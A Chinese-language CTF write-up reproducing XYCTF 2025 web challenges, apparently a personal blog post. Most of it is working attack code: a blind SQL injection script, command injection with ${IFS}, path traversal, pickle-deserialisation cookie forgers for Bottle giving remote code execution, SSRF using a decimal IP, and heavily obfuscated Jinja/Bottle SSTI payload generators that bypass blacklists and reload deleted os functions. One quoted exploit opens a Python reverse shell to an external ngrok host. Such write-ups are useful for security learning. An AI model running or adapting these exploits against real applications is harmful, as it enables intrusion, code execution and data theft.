Featured image of post 2025XYCTF复现

2025XYCTF复现

2025XYCTF复现

ez_puzzle

禁用右键和F12,火狐右边侧栏找到web开发者工具

直接把startTime设置很大完成拼图也行

或者直接找到输出flag的函数下断点

1
2
3
4
5
6
if(G<yw4)
{
alert(O[s74](J74))
}else{
alert($vfeRha_calc(S74+G/Rw4,Y74,$v5sNVR(vS4)))
}

把<改为大于本地调试,下断点运行就行,还是拼拼图简单

Ezsql(⼿动滑稽)

单引号注入用户名报错

先试试万能密码

1
username=1'%09or%091=1#&password=1

image-20250409155353364

需要盲注密钥值,空格可以用%09tab代替,逗号from for

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests

url = 'http://gz.imxbt.cn:20083/login.php'
text = ''
i = 0
j = 0
while True:
    head = 1
    tail = 127
    i += 1
    while head < tail:
        j += 1
        mid = (head + tail) >> 1
        # payload = f"1' or ascii(substr(database() from {i} for {i})) > {mid}#"
        # testdb
        # payload = f"1' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from {i} for {i})) > {mid}#"
        # double_check,user
        # payload = f"1' or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='double_check') from {i} for {i})) > {mid}#"
        # secret
        payload = f"1' or ascii(substr((select group_concat(secret) from double_check) from {i} for {i})) > {mid}#"
        # dtfrtkcc0czkoua9S
        # param = "id" + payload
        data = {"username": payload.replace(" ", "\t"),
                "password": "123456"}
        # r = requests.get(url, params=param)
        r = requests.post(url, data=data)
        if "帐号或密码错误" not in r.text:
            head = mid + 1
        else:
            tail = mid
    if head != 1:
        text += chr(head)
        print(text)
    else:
        break

爆出密钥值为dtfrtkcc0czkoua9S

image-20250409155734949

接下来无回显,我们把结果写入文件就行了

1
ls${IFS}$9/>1.txt

找到flag.txt

1
cat${IFS}$9/flag.txt>1.txt

Signin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
    secret = f.read()

app = Bottle()
@route('/')
def index():
    return '''HI'''
@route('/download')
def download():
    name = request.query.filename
    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
        response.status = 403
        return 'Forbidden'
    with open(name, 'rb') as f:
        data = f.read()
    return data

@route('/secret')
def secret_page():
    try:
        session = request.get_cookie("name", secret=secret)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=secret)
            return 'Forbidden!'
        if session["name"] == "admin":
            return 'The secret has been deleted!'
    except:
        return "Error!"
run(host='0.0.0.0', port=8080, debug=False)

secret.txt路径给了,但是过滤了../开头和../../直接用./../绕过

1
/download?filename=./.././../secret.txt

拿到一串字符串Hell0_H@cker_Y0u_A3r_Sm@r7

看secret路由应该要伪造session,跟进get_cookie函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
    def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
        """ Return the content of a cookie. To read a `Signed Cookie`, the
            `secret` must match the one used to create the cookie (see
            :meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
            cookie or wrong signature), return a default value. """
        value = self.cookies.get(key)
        if secret:
            # See BaseResponse.set_cookie for details on signed cookies.
            if value and value.startswith('!') and '?' in value:
                sig, msg = map(tob, value[1:].split('?', 1))
                hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
                if _lscmp(sig, base64.b64encode(hash)):
                    dst = pickle.loads(base64.b64decode(msg))
                    if dst and dst[0] == key:
                        return dst[1]
            return default
        return value or default

sha256加密,前下密钥有用了,然后下面有个pickle.loads,先base64加密再打pickle反序列化把flag写入文件,然后用download路由读文件

最简单的exp就是用bottle自带的cookie_encode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from bottle import cookie_encode
import os
import requests
secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"

class Test:
    def __reduce__(self):
        return (eval, ("""__import__('os').system('cat /f* >./2.txt')""",))

exp = cookie_encode(
    ('session', {"name": [Test()]}),
    secret
)

requests.get('http://gz.imxbt.cn:20458/secret', cookies={'name': exp.decode()})

然后这个版本不兼容cookie_endcode我们丢给ai改一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import pickle
import hmac
import hashlib
import base64
import requests

secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"

class Test:
    def __reduce__(self):
        return (eval, ("""__import__('os').system('cp /f* ./2.txt')""",))

# 构造要序列化的数据
data = {"name": [Test()]}

# 使用pickle序列化数据(协议版本与Bottle兼容)
serialized = pickle.dumps(data, protocol=-1)

# 生成HMAC签名(使用SHA256)
sig = hmac.new(secret.encode(), serialized, digestmod=hashlib.sha256).digest()

# Base64编码数据和签名
b64_data = base64.b64encode(serialized).decode('utf-8')
b64_sig = base64.b64encode(sig).decode('utf-8')

# 组合成Bottle格式的签名Cookie
cookie_value = f"{b64_data}!{b64_sig}"

# 发送请求
requests.get('http://gz.imxbt.cn:20746/secret', cookies={'name': cookie_value})

然后download查看2.txt

1
download?filename=2.txt

或者跟着这篇SekaiCTF 2022 Writeup | cjxol.com

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import pickle
import base64
import os
import hmac
import hashlib

class RCE:
    def __reduce__(self):
        cmd = """
            python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.tcp.eu.ngrok.io",16526));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
        """
        return os.system, (cmd,)

def gen_cookie(payload):
    b64pld = base64.b64encode(payload)
    signature = base64.b64encode(
        hmac.new(
            b"Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu", b64pld, hashlib.md5
        ).digest()
    )
    return b'"!' + signature + b"?" + b64pld + b'"'

if __name__ == "__main__":
    pickled = pickle.dumps(RCE())
    print(gen_cookie(pickled))

改一下exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import pickle
import base64
import hmac
import hashlib

class RCE:
    def __reduce__(self):
        return (eval,("__import__('os').popen('cat /flag* > ./1.txt').read()",))

def gen_cookie(payload):
    b64pld = base64.b64encode(payload)
    signature = base64.b64encode(
        hmac.new(
            b"Hell0_H@cker_Y0u_A3r_Sm@r7", b64pld, hashlib.sha256
        ).digest()
    )
    return b'"!' + signature + b"?" + b64pld + b'"'

if __name__ == "__main__":
    pickled = pickle.dumps(RCE())
    print(gen_cookie(pickled))

然后download查看就行了

出题人已疯

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
    return 'Hello, World!'
@bottle.route('/attack')
def attack():
    payload = bottle.request.query.get('payload')
    if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
        return bottle.template('hello '+payload)
    else:
        bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
    bottle.run(host='0.0.0.0', port=5000)

需要一行写payload打ssti

直接上官方exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = 'http://eci-2zeeal6ndgee1yfe98tl.cloudeci1.ichunqiu.com:5000/attack'


payload = "__import__('os').system('cat /f*>1.txt')"


p = [payload[i:i+3] for i in range(0,len(payload),3)]
flag = True
for i in p:
    if flag:
        tmp = f'\n%import os;os.a="{i}"'
        flag = False
    else:
        tmp = f'\n%import os;os.a+="{i}"'
    r = requests.get(url,params={"payload":tmp})

r = requests.get(url,params={"payload":"\n%import os;eval(os.a)"})
r = requests.get(url,params={"payload":"\n%include('1.txt')"}).text
print(r)

直接把payload分为三个字符一组,然后塞到a里面最后执行,界面无回显,直接写flag到1.txt里面,最后包含flag

出题人又疯

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
    return 'Hello, World!'
blacklist = [
    'o', '\\', '\r', '\n', 'os', 'import', 'eval', 'exec', 'system', ' ', ';' 
]
@bottle.route('/attack')
def attack():
    payload = bottle.request.query.get('payload')
    if payload and len(payload) < 25 and all(c not in payload for c in blacklist):
        print(payload)
        return bottle.template('hello '+payload)
    else:
        bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
    bottle.run(host='0.0.0.0', port=5000)

限制更多字符

利用lamentXU师傅的神秘小trick,斜体字绕过

oa,在bottle的SSTI里,他们可以被直接替换成ª (U+00AA),º (U+00BA)进而绕过各种waf。

我们对ª进行URL编码,为:%c2%aa,随后删除%c2,只剩下一个%aa,然后替换掉原payload里的a。看以下例子:

1
2
{{abs(-1)}}
{{/* %aabs(-1) */}}

他们的执行结果是一样的。都可以求得-1的绝对值。

同样的,对于字符º,其URL编码后为%c2%ba,有:

1
2
{{open('/flag').read()}}
{{/* %bapen('/flag').read() */}}

他们的执行结果是一样的。都可以获取/flag文件的内容。

在这个网站可以看到字符的unicode,https://www.compart.com/en/unicode/

image-20250410142118914

这些可能都是可利用的,原理是bottle处理的uniocde是全体str

目前只有o和a可以用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import re

def replace_unquoted(text):
    pattern = r'(\'.*?\'|\".*?\")|([oa])'
    
    def replacement(match):
        if match.group(1):
            return match.group(1)
        else:
            char = match.group(2)
            replacements = {
                'o': '%ba',
                'a': '%aa',
            }
            return replacements.get(char, char)
    
    result = re.sub(pattern, replacement, text)
    return result

input_text = '' # payload
output_text = replace_unquoted(input_text)
print("处理后的字符串:", output_text)

所以这题payload

1
/attack?payload={{/* %BApen(%27/flag%27).re%aad() */}}

Fate

先来看个原题:https://alpacahack.com/ctfs/cakectf-2023/challenges/country-db

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python3
import flask
import sqlite3

app = flask.Flask(__name__)

def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/')
def index():
    return flask.render_template("index.html")

@app.route('/api/search', methods=['POST'])
def api_search():
    req = flask.request.get_json()
    if 'code' not in req:
        flask.abort(400, "Empty country code")

    code = req['code']
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

    name = db_search(code)
    if name is None:
        flask.abort(404, "No such country")

    return {'name': name}

if __name__ == '__main__':
    app.run(debug=True)

注意到request.get_json(),用f-string传入非字符串参数,会被转成字符串

利用这个python格式化字符串漏洞,写出payload

1
{"code":["1') UNION SELECT FLAG FROM FLAG --","1"]}

传入的code为列表,因而可以通过waf(len为2,没有'元素)随后直接被f-string强转,拼入sql语句,如下:

1
SELECT name FROM country WHERE code=UPPER('["1') UNION SELECT FLAG FROM FLAG --","1"]')

这题代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python3
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
    if len(binary_string) % 8 != 0:
        raise ValueError("Binary string length must be a multiple of 8")
    binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
    string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
    
    return string_output

@app.route('/proxy', methods=['GET'])
def nolettersproxy():
    url = flask.request.args.get('url')
    if not url:
        return flask.abort(400, 'No URL provided')
    
    target_url = "http://lamentxu.top" + url
    for i in blacklist:
        if i in url:
            return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
    if "." in url:
        return flask.abort(403, 'No ssrf allowed')
    response = requests.get(target_url)

    return flask.Response(response.content, response.status_code)
def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/')
def index():
    print(flask.request.remote_addr)
    return flask.render_template("index.html")

@app.route('/1337', methods=['GET'])
def api_search():
    if flask.request.remote_addr == '127.0.0.1':
        code = flask.request.args.get('0')
        if code == 'abcdefghi':
            req = flask.request.args.get('1')
            try:
                req = binary_to_string(req)
                print(req)
                req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
            except:
                flask.abort(400, "Invalid JSON")
            if 'name' not in req:
                flask.abort(400, "Empty Person's name")

            name = req['name']
            if len(name) > 6:
                flask.abort(400, "Too long")
            if '\'' in name:
                flask.abort(400, "NO '")
            if ')' in name:
                flask.abort(400, "NO )")
            """
            Some waf hidden here ;)
            """

            fate = db_search(name)
            if fate is None:
                flask.abort(404, "No such Person")

            return {'Fate': fate}
        else:
            flask.abort(400, "Hello local, and hello hacker")
    else:
        flask.abort(403, "Only local access allowed")

if __name__ == '__main__':
    app.run(debug=True)

查询值的长度限制小于6,但是flag字段名大于6,源码标明json.loads

先看打SSRF部分

在URL解析里有http://xxx.xx@yyy.yy会解析到yyy.yy

所以 target_url = "http://lamentxu.top" + url用@绕过

禁用了ascii字母和.,2130706433 是 IPv4 地址 127.0.0.1 的 32 位无符号整数表示,可以用这个绕过

1
2
3
4
ip = "127.0.0.1"
bytes = list(map(int, ip.split('.')))  # 拆分为 [127, 0, 0, 1]
integer = (bytes[0] << 24) | (bytes[1] << 16) | (bytes[2] << 8) | bytes[3]
print(integer)  # 输出 2130706433

还要给参数0传参abcdefghi,二次URL编码绕过

接下来就是sql注入,限制列表、元组,我们用字典

1
{"name":{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}}

拼接后

1
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}')))))))

然后利用ssrf

先利用这个逻辑来构造二进制

1
2
3
4
5
6
7
def binary_to_string(binary_string):
    if len(binary_string) % 8 != 0:
        raise ValueError("Binary string length must be a multiple of 8")
    binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
    string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
    
    return string_output

payload

1
2
3
4
5
6
def string_to_binary(input_string):
    binary_list = [format(ord(char), '08b') for char in input_string]
    binary_string = ''.join(binary_list)
    return binary_string
 
print(string_to_binary("""{"name":{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}}"""))
1
011110110010001001101110011000010110110101100101001000100011101001111011001000100010011100101001001010010010100100101001001010010010100100101001001000000101010101001110010010010100111101001110001000000101001101000101010011000100010101000011010101000010000001000110010000010101010001000101001000000100011001010010010011110100110100100000010001100100000101010100010001010101010001000001010000100100110001000101001000000101011101001000010001010101001001000101001000000100111001000001010011010100010100111101001001110100110001000001010011010100010101001110010101000101100001010101001001110010000000101101001011010010001000111010001100010111110101111101

最后用proxy路由打ssrf

1
/proxy?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569%261=011110110010001001101110011000010110110101100101001000100011101001111011001000100010011100101001001010010010100100101001001010010010100100101001001000000101010101001110010010010100111101001110001000000101001101000101010011000100010101000011010101000010000001000110010000010101010001000101001000000100011001010010010011110100110100100000010001100100000101010100010001010101010001000001010000100100110001000101001000000101011101001000010001010101001001000101001000000100111001000001010011010100010100111101001001110100110001000001010011010100010101001110010101000101100001010101001001110010000000101101001011010010001000111010001100010111110101111101

这里的&也要url编码,然后127.0.0.1的端口是8080,docker文件里面有

Now you see me 1

全选发现神秘base64,解码得源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import flask
import sys
enable_hook =  False
counter = 0
def audit_checker(event,args):
    global counter
    if enable_hook:
        if event in ["exec", "compile"]:
            counter += 1
            if counter > 4:
                raise RuntimeError(event)

lock_within = [
    "debug", "form", "args", "values", 
    "headers", "json", "stream", "environ",
    "files", "method", "cookies", "application", 
    'data', 'url' ,'\'', '"', 
    "getattr", "_", "{{", "}}", 
    "[", "]", "\\", "/","self", 
    "lipsum", "cycler", "joiner", "namespace", 
    "init", "dir", "join", "decode", 
    "batch", "first", "last" , 
    " ","dict","list","g.",
    "os", "subprocess",
    "g|a", "GLOBALS", "lower", "upper",
    "BUILTINS", "select", "WHOAMI", "path",
    "os", "popen", "cat", "nl", "app", "setattr", "translate",
    "sort", "base64", "encode", "\\u", "pop", "referer",
    "The closer you see, the lesser you find."] 
        # I hate all these.
app = flask.Flask(__name__)
@app.route('/')
def index():
    return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
    global enable_hook, counter
    name = flask.request.args.get('My_ins1de_w0r1d')
    if name:
        try:
            if name.startswith("Follow-your-heart-"):
                for i in lock_within:
                    if i in name:
                        return 'NOPE.'
                enable_hook = True
                a = flask.render_template_string('{#'+f'{name}'+'#}')
                enable_hook = False
                counter = 0
                return a
            else:
                return 'My inside world is always hidden.'
        except RuntimeError as e:
            counter = 0
            return 'NO.'
        except Exception as e:
            return 'Error'
    else:
        return 'Welcome to Hidden_route!'

if __name__ == '__main__':
    import os
    try:
        import _posixsubprocess
        del _posixsubprocess.fork_exec
    except:
        pass
    import subprocess
    del os.popen
    del os.system
    del subprocess.Popen
    del subprocess.call
    del subprocess.run
    del subprocess.check_output
    del subprocess.getoutput
    del subprocess.check_call
    del subprocess.getstatusoutput
    del subprocess.PIPE
    del subprocess.STDOUT
    del subprocess.CalledProcessError
    del subprocess.TimeoutExpired
    del subprocess.SubprocessError
    sys.addaudithook(audit_checker)
    app.run(debug=False, host='0.0.0.0', port=5000)

给了个SSTI利用点,但是_被过滤了,常用的办法是用request后面接参数绕过,但是他后面的那几个都被过滤了

1
2
3
4
5
6
7
8
request              #request.__init__.__globals__['__builtins__']
request.args.x1   	 #get传参
request.values.x1 	 #所有参数
request.cookies      #cookies参数
request.headers      #请求头参数
request.form.x1   	 #post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		 #post传参	(Content-Type:a/b)
request.json		 #post传json  (Content-Type: application/json)

去开发手册找参数

可以使用request.endpoint获取到当前路由的函数名,即r3al_ins1de_th0ught

就可以依次获取字符data,然后就可以利用request.data ,传入任意字符绕过

题目最后删除了rce的办法,python2中可以使用reload函数对类进行重载,在python3中,这个函数搬到了importlib类里。可以以此重载到被删除的方法,这里我们分别reloados.popensubprocess.Popen

1
2
3
4
5
import os
import importlib
del os.system
importlib.reload(os)
os.system('whoami')

再看这一行

1
a = flask.render_template_string('{#'+f'{name}'+'#}')

先闭合前面的{#

双花括号过滤我们用{%%}

1
#}{% print(7*7) %}

上脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import re
payload = []
endpoint="r3al_ins1de_th0ught"
def generate_rce_command(cmd):
    global payload
    payloadstr = "{%set%0asub=request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('subprocess')%}{%set%0aso=request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')%}{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('importlib')|attr('reload')(sub))%}{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('importlib')|attr('reload')(so))%}{%print(so|attr('popen')('" + cmd + "')|attr('read')())%}"

    required_encoding = re.findall('\'([a-z0-9_ /\.]+)\'', payloadstr)
    # print(required_encoding)

    offset_a = 16
    offset_0 = 6

    encoded_payloads = {}

    arg_count = 0
    for i in required_encoding:
        print(i)
        if i not in encoded_payloads:
            p = []
            for j in i:
                if j == '_':
                    p.append('k.2')
                elif j == ' ':
                    p.append('k.3')
                elif j == '.':
                    p.append('k.4')
                elif j == '-':
                    p.append('k.5')
                elif j.isnumeric():
                    a = str(ord(j)-ord('0')+offset_0)
                    p.append(f'k.{a}')
                elif j == '/':
                    p.append('k.68')
                else:
                    a = str(ord(j)-ord('a')+offset_a)
                    p.append(f'k.{a}')
            arg_name = f'a{arg_count}'
            encoded_arg = '{%' + '%0a'.join(['set', arg_name , '=', '~'.join(p)]) + '%}'
            encoded_payloads[i] = (arg_name, encoded_arg)
            arg_count+=1
            payload.append(encoded_arg)
    # print(encoded_payloads)
    fully_encoded_payload = payloadstr
    for i in encoded_payloads.keys():
        if i in fully_encoded_payload:
            fully_encoded_payload = fully_encoded_payload.replace("'"+ i +"'", encoded_payloads[i][0])
    # print(fully_encoded_payload)
    payload.append(fully_encoded_payload)
command = "ls /"
payload.append(r'{%for%0ai%0ain%0arequest.endpoint|slice(1)%}')
word_data = ''
for i in 'data':
    word_data += 'i.' + str(endpoint.find(i)) + '~'
word_data = word_data[:-1] # delete the last '~'
# Now we have "data"
print("data: "+word_data)
payload.append(r'{%set%0adat='+word_data+'%}')
payload.append(r'{%for%0ak%0ain%0arequest|attr(dat)|string|slice(1)%0a%}')
generate_rce_command(command)
# payload.append(r'{%print(j)%}')
# Here we use the "data" to construct the payload
print('request body: _ .-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/')
# use chr() to convert the number to character
# hiahiahia~ Now we get all of the charset, SSTI go go go!


payload.append(r'{%endfor%}')
payload.append(r'{%endfor%}')
output = ''.join(payload)

print(r"Follow-your-heart-%23}"+output)

Now you see me 2

利用这个payload打

1
{%print(g|attr('pop')|attr('__globals__')|attr('get')('__builtins__')|attr('get')('setattr')(g|attr('pop')|attr('__globals__')|attr('get')('sys')|attr('modules')|attr('get')('werkzeug')|attr('serving')|attr('WSGIRequestHandler'),'server_version',g|attr('pop')|attr('__globals__')|attr('get')('__builtins__')|attr('get')('__import__')('os')|attr('popen')('"""+cmd+"""')|attr('read')()))%}

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import re
payload = []
def generate_rce_command(cmd):
    global payload
    payloadstr = """{%set%0asub=request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('subprocess')%}{%set%0aso=request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')%}{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('importlib')|attr('reload')(sub))%}{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('importlib')|attr('reload')(so))%}{%print(g|attr('pop')|attr('__globals__')|attr('get')('__builtins__')|attr('get')('setattr')(g|attr('pop')|attr('__globals__')|attr('get')('sys')|attr('modules')|attr('get')('werkzeug')|attr('serving')|attr('WSGIRequestHandler'),'server_version',g|attr('pop')|attr('__globals__')|attr('get')('__builtins__')|attr('get')('__import__')('os')|attr('popen')('"""+cmd+"""')|attr('read')()))%}"""

    required_encoding = re.findall('\'([a-z0-9_ /\.]+)\'', payloadstr)
    # print(required_encoding)
    required_encoding.append('WSGIRequestHandler')
    offset_a = 16
    offset_0 = 6
    offset_A = 42
    encoded_payloads = {}

    arg_count = 0
    for i in required_encoding:
        print(i)
        if i not in encoded_payloads:
            p = []
            for j in i:
                if j == '_':
                    p.append('k.2')
                elif j == ' ':
                    p.append('k.3')
                elif j == '.':
                    p.append('k.4')
                elif j == '-':
                    p.append('k.5')
                elif j.isnumeric():
                    a = str(ord(j)-ord('0')+offset_0)
                    p.append(f'k.{a}')
                elif j == '/':
                    p.append('k.68')
                elif ord(j) >= ord('a') and ord(j) <= ord('z'):
                    a = str(ord(j)-ord('a')+offset_a)
                    p.append(f'k.{a}')
                elif ord(j) >= ord('A') and ord(j) <= ord('Z'):
                    a = str(ord(j)-ord('A')+offset_A)
                    p.append(f'k.{a}')
            arg_name = f'a{arg_count}'
            encoded_arg = '{%' + '%0a'.join(['set', arg_name , '=', '~'.join(p)]) + '%}'
            encoded_payloads[i] = (arg_name, encoded_arg)
            arg_count+=1
            payload.append(encoded_arg)
    # print(encoded_payloads)
    fully_encoded_payload = payloadstr
    for i in encoded_payloads.keys():
        if i in fully_encoded_payload:
            fully_encoded_payload = fully_encoded_payload.replace("'"+ i +"'", encoded_payloads[i][0])
    # print(fully_encoded_payload)
    payload.append(fully_encoded_payload)
command = "ls /"
full_payload = '''{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('" + cmd + "')|attr('read')())%}'''
endpoint = "r3al_ins1de_thought"
payload.append(r'{%for%0ai%0ain%0arequest.endpoint|slice(1)%}')
word_data = ''
for i in 'data':
    word_data += 'i.' + str(endpoint.find(i)) + '~'
word_data = word_data[:-1] # delete the last '~'
# Now we have "data"
print("data: "+word_data)
payload.append(r'{%set%0adat='+word_data+'%}')
payload.append(r'{%for%0ak%0ain%0arequest|attr(dat)|string|slice(1)%0a%}')
generate_rce_command(command)
# payload.append(r'{%print(j)%}')
# Here we use the "data" to construct the payload
print('request body: _ .-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/')
# use chr() to convert the number to character
# hiahiahia~ Now we get all of the charset, SSTI go go go!


payload.append(r'{%endfor%}')
payload.append(r'{%endfor%}')
output = ''.join(payload)

print(r"fly-%23}"+output)
Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计